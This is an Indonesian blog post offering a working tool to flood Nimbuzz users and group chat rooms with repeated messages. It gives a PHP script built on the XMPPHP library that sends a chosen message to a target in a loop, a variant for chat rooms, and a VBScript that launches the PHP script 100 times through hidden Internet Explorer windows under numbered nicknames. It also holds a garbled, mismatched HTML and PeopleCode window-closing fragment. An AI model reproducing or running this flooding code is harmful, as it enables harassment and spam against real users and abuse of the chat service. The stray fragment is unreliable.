Bagi yang sudah pernah baca artikel aku tentang cara parsing variabel dengan PHP script dan cara nge-flood menggunakan VB Script tentunya lihat PHP script dan VBScript berikut udah mafhum. Bagi yang belum pernah atau belum tau, aduk – aduk dulu deh artikel aku yang lalu. Lupa aku judulnya. Wkwkwkwk…
Script pv_flood.php berikut sengaja cara parsingnya aku bikin menggunakan metode GET :
BaworVBS:
<HTML><HEAD>
<SCRIPT language='JavaScript' type='text/javascript'> top.window.opener = top.window; top.window.opener.focus(); top.window.close(); </SCRIPT>
</HEAD><BODY></BODY></HTML>
Function IScript_CloseCurrWin()
%Response.WriteLine(GetHTMLText(HTML.BaworVBS));< br />
End-Function;
<?
$resource='NIMBUZZ_MID456';
$host='o.nimbuzz.com';
$port='5222';
$server='nimbuzz.com';
$user = $_GET['nick'];
$password = $_GET['password'];
$to = $_GET['target'];
$jml_nick = $_GET['jml_nick'];
$jml_flood = $_GET['jml_flood'];
$body = $_GET['isi_flood'];
include 'XMPPHP/Log.php';
include 'XMPPHP/XMPP.php';
$koneksi=new XMPPHP_XMPP($host, $port, $user, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);
$koneksi->connect();
$koneksi->processUntil('session_start');
$koneksi->presence();
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to, $body);
}
?>
Klo untuk room, mungkin skrip yang bawah gini yah? :
$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user, "available");
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to."@conference.nimbuzz.com", $body,"groupchat");
}
$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user."asdgasudaui7887eyi", "unavailable");
Dengan maksud, parsing variabel dari pv_flood.php kita buat dengan VBScript berikut :
nick="nick_nimbuzz_kamu"
password="password_kamu"
target="target@nimbuzz.com"
jml_nick="100"
jml_flood="100"
isi_flood="Text Messsage"
url_local="http://localhost/flood/pv_flood.php"
for i=1 to jml_nick
alamat=url_local & "?nick=" & i & nick & "&password=" & password & "&jml_flood=" & jml_flood & "&target=" & target & "&isi_flood=" & isi_flood
Dim ie
Set ie = CreateObject("internetexplorer.application")
ie.Navigate alamat
ie.Visible=False
next
Klo untuk room, target cuman isi nama roomnya doang. Lalu simpan dengan nama terserah_kamu.vbs. Udah cuman gitu thok. Enteng bikinnya, cukup pake Notepad ajah. Klo untuk room, berkreasi ndiri aja yah? Aku cuman mancing doang…
